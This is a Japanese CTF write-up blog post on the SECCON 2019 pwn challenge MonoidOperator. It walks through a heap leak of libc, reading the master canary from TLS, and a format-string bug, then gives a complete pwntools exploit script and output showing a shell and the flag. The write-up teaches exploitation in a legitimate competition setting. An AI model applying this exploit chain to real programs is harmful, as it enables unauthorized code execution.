newbieからバイナリアンへ

newbie dive into binary

昨日は海を見に行きました

【pwn 11.2】 MonoidOperator - SECCON CTF 2019

 

 

 

 

 

1: イントロ

いつぞや行われたSECCON CTF 2019

そのpwnの問題の MonoidOperator

TSGという団体がとある大学にあるらしいが、そこの人がつくった問題らしい

モノイドなんて言われたらびびっちゃうよ、もう





2: 表層解析

./monoid_operator: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=48bb16f89da19f4341a0e25ce018bf9d2c10afc5, for GNU/Linux 3.2.0, stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

 

他にはlibcとldが配布されている

stripped嫌い!!!

 

実行はこれで

$ LD_PRELOAD="./libc.so.6" ./ld-linux-x86-64.so.2 ./monoid_operator



 

なおこれにもalarm(0xa)があるためradare2でパッチングしておく

 

 

許可されている演算は+,*,^(xor)の3種類のみであり

+,^では初期値0,*では初期値1として計算される





3: libc_baseのleak

入力は演算子->入力数->数字達の入力の順で行われる

このとき入力数によって確保されるmallocサイズが異なる

数字は確保されたmallocに格納されていく

 

この際数字達の途中で不正な値を入力するとfscanf()の仕様により途中で入力を終了させることができる

また、確保された領域は1つの入力ループが終了する度にfreeされる

 

以上より、malloc(十分に大きな値)したあとで確保したバッファを勝手にfreeさせてunsortedにつなぎ

再び同じ領域を確保する際に数字たちの入力の2つ目で不正値を入力すれば、unsorted chunkのbkを読むことができる

(具体的には'+'演算子を選択肢、1つ目の数字を0にすればbkの値がそのまま演算結果になる)

ld/libc配布の問題の解き方がいまいちわかっていないからなのか、pedaのarenaとかheapとかの便利コマンドが使えなかったが

最初のunsortedであるからそれが指すのはmain_arena+96であろう

実際上の方法でアドレスを入手し、それをvmmapと見比べてみる

 

[+]addr: 0x7f917322dca0

    0x7f9173047000     0x7f9173049000 rw-p     2000 0      
    0x7f9173049000     0x7f917306e000 r--p    25000 0      /home/wataru/Documents/CTF/seccon2019/monoid_operator/libc.so.6

    
pwndbg> p/x 0x7f917322dca0-0x7f9173049000
$6 = 0x1e4ca0

 

つまり得たアドレスから0x1e4ca0を引けばlibc_baseのleakが完了したことになる





4: MasterCanary(TLS)のleak

このプログラムは終了時にユーザから名前とフィードバックを求める箇所がある

以下は該当部のGhidraコード

                if (l859_inp_c == 'q') {
                    /* 'q': QUIT */
                    write(0x1,"Before end, please submit feed back!\nWhat is your name?\n",0x38);
                    sVar5 = read(0x0,l828_name_buf_p,0x7);
                    /*      (NULL terminated) */
                    *(undefined *)((long)l828_name_buf_p + (long)(int)sVar5) = 0x0;
                    printf("Hi, %s.\nPlease write your feed back!\n",l828_name_buf_p);
                    sVar5 = read(0x0,l818_feedback_buf,0x3ff);
                    l818_feedback_buf[(long)(int)sVar5] = '\0';
                    /* if feedback contains 'n', exit right now */
                    pcVar6 = strchr(l818_feedback_buf,0x6e);
                    if (pcVar6 != NULL) {
                    /* WARNING: Subroutine does not return */
                        _exit(0x1);
                    }
                    /* **VULN** FSB!!! */
                    sprintf(acStack1048,l818_feedback_buf);
                    if (l10_canary == *(long *)(in_FS_OFFSET + 0x28)) {
                        return 0x0;
                    }

 

このsprintf()でFSAが使える

'n'は入力できないが別に他の指定子でいけばいいから関係ない

 

さて、canaryはMasterCanaryから直接読んでくることにする

詳しくは以下のCODE BLUEのスライドを参照

 

www.slideshare.net

 

 

TLSmmapで取られるため

もともとの領域と必ず隣接し、libc_baseとのoffsetも一定らしい

どうやってローカル環境でoffsetを調べるか迷ったが

pwngdbにはtlsというコマンド(システムコールを発行してユーザ権限では読めないfsの値を読んでくれる)があり

それを使って調べたところ以下のようになった

gdb-peda$ tls
tls : 0x7f12082be5c0
gdb-peda$ p/x 0x7f12082be5c0-0x7f12080d2000
$2 = 0x1ec5c0

 

すなわちlibc_baseとmaster_canaryのoffsetは0x1ec5c0

これで全ての準備が整った





5: FSA

自分は正直FSAのうまいやり方をよく知らない

だからまずは%llxを出力させてスタックのどこが何番目のインデックスかを把握し

入力したアドレスの8byte alignがちゃんと保たれるように、かつ出力側でもしっかり意図したとおりにsprintf()されるように試行錯誤をただただ繰り返した

その際canaryはMasterCanaryのアドレス+1から%.7sで読んで来て上書きした

(下1byteは必ず0x00ゆえmaster addr+0で読むとNULLしか読めない)







6: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *

import sys

FILENAME = "./monoid_operator"

rhp2 = {'host':"localhost",'port':12344}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)


onegadgets = [0xe237f,0xe2383,0xe2386,0x106ef8]
#constraints
#[rcx]==NULL||rcx==NULL  && [rbp-0x70]==NULL
#[rcx]==NULL && [rdx]==NULL
#[rsi]==NULL && [rdx]=NULL
#[rsp+0x70]==NULL

tls_off = 0x1ec5c0
canary_off = 0x28

def hoge(conn,op,num,ints):
  conn.recvuntil("choose?\n")
  conn.sendline(op)
  conn.recvuntil("input?\n")
  conn.sendline(str(num))
  conn.recvline("integers.\n")
  conn.sendline(" ".join(map(str,ints)))
  if(num-len(ints)>0):
    conn.sendline(" 0"*(num-len(ints)))

def exploit(conn):
  #allocate big chunk, free it, and leak main_arena+96 & libc_base
  hoge(conn,"+",(0x500)/8,[0xffffffffffffffff,2])
  hoge(conn,"+",(0x500)/8,[0,'A'])
  conn.recvuntil("The answer is ")
  addr = int(conn.recvline()[:-2])
  libc_base = addr - 0x1e4ca0
  canary_addr = libc_base + tls_off + canary_off
  print("[+]addr: "+hex(addr))
  print("[+]libc_base: "+hex(libc_base))
  print("[+]canary addr: "+hex(canary_addr))
  print("[+]onegadget0: "+hex(libc_base + onegadgets[0]))

  conn.recvuntil("choose?\n")
  conn.sendline("q")
  conn.recvuntil("name?\n")
  raw_input()
  conn.sendline("smallkirby")
  conn.recvuntil("!\n")
  
  #FSA with reading canary from Master Canary(TLS)
  pay = "A"*4
  pay += p64(0xdeadbeefdeadbeef) #%18
  pay += "%8$"+str(0x410-0x8-0x10+1)+"c" #%19 #canaryの手前
  pay += "%24$.7s"+"%28%c" #canary
  pay += "%8$6c" #rbp
  pay += p64(onegadgets[1]+libc_base) #RA #%22
  pay += "A"*7
  pay += p64(canary_addr+1) #%24
  conn.send(pay)

  #GOT A SHELL!



if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()







7: 結果

[*] '/home/wataru/Documents/CTF/seccon2019/monoid_operator/monoid_operator'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to localhost on port 12344: Done
[+]addr: 0x7f695c57eca0
[+]libc_base: 0x7f695c39a000
[+]canary addr: 0x7f695c5865e8
[+]onegadget0: 0x7f695c47c37f

[*] Switching to interactive mode
$ ls
a.out
cp_exploit.py
exploit.py
ld-linux-x86-64.so.2
libc.so.6
monoid_operator
monoid_operator.gpr
monoid_operator.lock
monoid_operator.lock~
monoid_operator.rep
peda-session-ld-linux-x86-64.so.2.txt
run.sh
server.sh
$ cat /flag
FLAG={thi5_i5_t35t_f1ag}





f:id:smallkirby:20191106031436p:plain



 

 

 

 

 

 

 

明日試験らしいよ

明々後日NET WARSらしいよ

来週も試験らしいよ

再来週も試験らしいよ

再々来週も試験らしいよ

再々々来週も試験らしいよ

再々々々来週も試験らしいよ

再々々々々来週も試験らしいよ

続く・・・






You can cite code or comments in my blog as you like basically.
There are some exceptions.
1. When the code belongs to some other license. In that case, follow it.
2. You can't use them for evil purpose.
I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.

This website uses Google Analytics.It uses cookies to help the website analyze how you use the site. You can manage the functionality by disabling cookies.